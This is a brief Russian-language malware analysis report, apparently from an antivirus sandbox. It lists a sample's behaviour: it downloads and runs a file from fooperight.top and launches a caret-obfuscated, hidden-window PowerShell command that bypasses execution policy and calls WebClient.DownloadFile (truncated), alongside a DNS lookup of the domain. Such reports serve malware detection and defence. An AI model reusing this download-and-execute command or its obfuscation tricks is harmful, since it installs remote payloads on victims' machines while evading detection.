Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://fooperight.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^Ow^e^RsH^ell.^Ex^E -e^xeCu^t^IOn^P^oLIC^y byPAS^S ^-^n^o^p^R^Ofi^LE^ -WI^N^D^oWsTYLe ^Hi^Dd^en ^(NeW-O^b^jEc^T ^SY^S^teM.n^ET.We^Bcl^I^EN^T)^.dowNLo^ADfIlE('http://foope...
Сетевая активность
UDP
- DNS ASK fo###right.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^Ow^e^RsH^ell.^Ex^E -e^xeCu^t^IOn^P^oLIC^y byPAS^S ^-^n^o^p^R^Ofi^LE^ -WI^N^D^oWsTYLe ^Hi^Dd^en ^(NeW-O^b^jEc^T ^SY^S^teM.n^ET.We^Bcl^I^EN^T)^.dowNLo^ADfIlE('http://foope...' (со скрытым окном)
